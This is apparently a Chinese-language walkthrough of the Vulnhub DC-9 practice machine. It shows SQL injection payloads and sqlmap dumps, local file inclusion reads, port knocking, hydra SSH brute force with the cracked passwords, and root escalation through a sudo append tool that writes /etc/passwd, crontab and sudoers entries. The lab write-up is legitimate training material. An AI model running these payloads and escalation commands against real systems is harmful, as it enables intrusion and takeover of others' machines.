Vulnhub DC-9靶机渗透

信息搜集

nmap -sP 192.168.146.0/24 #主机发现
nmap -A 192.168.146.147 #扫描端口等信息


php

22端口过滤,80端口开放,一样的从80端口入手。
不是现成的cms,而后浏览一下发现search的地方有sql注入
html

#探测
Mary		//正确
Mary'		//错误
Mary'#		//正确

#注入
0' union select 1,2,3,4,5,6#		//6列都可控
0' union select 1,2,3,4,5,database()#		//数据库staff
0' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=database()#  		//StaffDetails,Users
0' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Users'#		//UserID,Username,Password
0' union select 1,2,3,4,5,group_concat(UserID,' | ',Username,' | ',Password) from Users# 		//1 | admin | 856f5de590ef37314e7c3bdf6f8a66dc

解密一下这个md5,https://www.somd5.com/解出来是transorbital1,登录一下。
index.php


python

manage.php

mysql

看到底部File does not exist,以前的靶机也有相似的,能够猜想多是LFI(include()),验证一下。
直接和一块儿同样写file,发现就是这个参数。(固然,通常来讲须要fuzz一下,这里我就直接作了)
http://192.168.146.147/manage.php?file=../../../../etc/passwd



linux

emmmm,这里不能直接用绝对路径,只能用相对路径。不少文件读不了,估计是没权限。
这样以前的读日志文件getshell的思路就不行了,须要另辟蹊径。
而且虽然获得了用户名能够尝试hydra爆破,可是以前扫描端口已经看到hydra是给过滤的,因此没法爆破。

算法

许久没有思路。。。sql

最后尝试找ssh的保护措施。
https://www.ibm.com/developerworks/cn/aix/library/au-sshlocks/index.html
../../../../etc/security/access.conf #决定容许哪些用户登陆



shell

都给注释了,并且好像没有john用户啊。。
../../../../etc/knockd.conf #指定端口敲门规则,详细看url


数据库

getFlag

能够看到,敲门后22端口就开放了。那就上hydra爆破一下。
hydra -L username.txt -P /usr/share/wordlists/rockyou.txt -t 6 ssh://192.168.146.147
安全

root@kali:/# cat username.txt 
janitor2
janitor
phoebeb
monicag
rossg
joeyt
chandlerb
fredf


看看时间,黑人问号??? 这确定不行呀。 得本身生成个字典。

回到以前sql注入,能够注入出用户名密码,估计能够用来撞库
直接用sqlmap所有跑出来吧。

sqlmap -u http://192.168.146.147/results.php --data="search=1" --dbms mysql --dbs  //information_schema,Staff,还有一个新表users
sqlmap -u http://192.168.146.147/results.php --data="search=1" --dbms mysql -D users -tables    	//UserDetails
sqlmap -u http://192.168.146.147/results.php --data="search=1" --dbms mysql -D users -T UserDetails --columns 		//firstname,id,lastname,password,reg_date,username
sqlmap -u http://192.168.146.147/results.php --data="search=1" --dbms mysql -D users -T UserDetails -C id,firstname,lastname,password --dump


(这哥们估计刷了不少遍friends老友记,Ross,Joey,Rachel都有。。。)

将密码生成字典pwd.txt,再用hydra爆破。hydra -L username.txt -P pwd.txt ssh://192.168.146.147

[22][ssh] host: 192.168.146.147   login: janitor   password: Ilovepeepee
[22][ssh] host: 192.168.146.147   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.146.147   login: chandlerb   password: UrAG0D!

janitor用户目录下有隐藏目录.secrets-for-putin里面有隐藏的密码文件



作成pwd.txt 继续爆破hydra -L username.txt -P pwd.txt -t 6 ssh://192.168.146.147

用这个用户登录上去。到这个地步差很少就该提权了。
看看sudo权限。sudo -l


能够以root权限执行这个test(elf文件),这确定有问题了。。。
试了下,直接执行是不行的(由于不知道功能不会用)。大概猜一下就是读read文件,而后添加进append文件?固然要验证下。




而后在上两级目录看到了test.py,看看他的内容。

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")
    output = (f.read())

    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

简单的,就是先打开read指定的文件,而后添加到append指定的文件。
既然能够写文件那就有几个思路了:/etc/passwd文件,/etc/sudoers文件,/etc/crontab文件

写passwd文件

首先了解linux 命令采用5种加密方式和手动生成shadow密码的方法
http://www.javashuo.com/article/p-mcpiqiji-bo.html
https://qastack.cn/unix/81240/manually-generate-password-for-etc-shadow

①.该列留空,即"::",表示该用户没有密码。
②.该列为"!",即":!:",表示该用户被锁,被锁将没法登录,可是可能其余的登陆方式是不受限制的,如ssh公钥认证的方式,su的方式。
③.该列为"*",即":*:",也表示该用户被锁,和"!"效果是同样的。
④.该列以"!"或"!!"开头,则也表示该用户被锁。
⑤.该列为"!!",即":!!:",表示该用户历来没设置过密码。
⑥.若是格式为"$id$salt$hashed",则表示该用户密码正常。其中$id$的id表示密码的加密算法,$1$表示使用MD5算法,$2a$表示使用Blowfish算法,"$2y$"是另外一算法长度的Blowfish,"$5$"表示SHA-256算法,而"$6$"表示SHA-512算法,

咱们使用下面这条
perl -e 'print crypt("hack", "salt")' #saOlCG7b7vaGw

#使用方式
echo 'A1oe:saOlCG7b7vaGw:0:0::/root:/bin/bash' > /tmp/11.txt
sudo ./test /tmp/11.txt /etc/passwd
su A1oe
Password: hack

crontab文件

参考https://www.cnblogs.com/A1oe/p/12535633.html

fredf@dc-9:/opt/devstuff/dist/test$ echo "* * * * * root chmod 4777 /bin/sh" > /tmp/1.txt
fredf@dc-9:/opt/devstuff/dist/test$ sudo ./test /tmp/1.txt /etc/crontab

写sudoers文件

#使用方法
fredf@dc-9:/opt/devstuff/dist/test$ echo 'fredf ALL=(ALL:ALL) ALL' > /tmp/33.txtfredf@dc-9:/opt/devstuff/dist/test$ sudo ./test /tmp/33.txt /etc/sudoers
fredf@dc-9:/opt/devstuff/dist/test$ sudo -l
Matching Defaults entries for fredf on dc-9:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fredf may run the following commands on dc-9:
    (root) NOPASSWD: /opt/devstuff/dist/test/test
    (ALL : ALL) ALL
fredf@dc-9:/opt/devstuff/dist/test$ sudo cat /root/theflag.txt

总结

本次靶机又复习了下基础的sql注入,学习了一下ssh保护措施,一个关于ssh安全的重要配置文件knockd.conf,这个敲对门才能ssh链接还挺好玩的。。 而后就是又root权限来写文件(sudo提权),简单的就是三个文件了/etc/passwd、/etc/sudoers、/etc/crontab文件。 最后,DC系列靶机完结啦,撒花~,准备开其余坑了。

相关文章
相关标签/搜索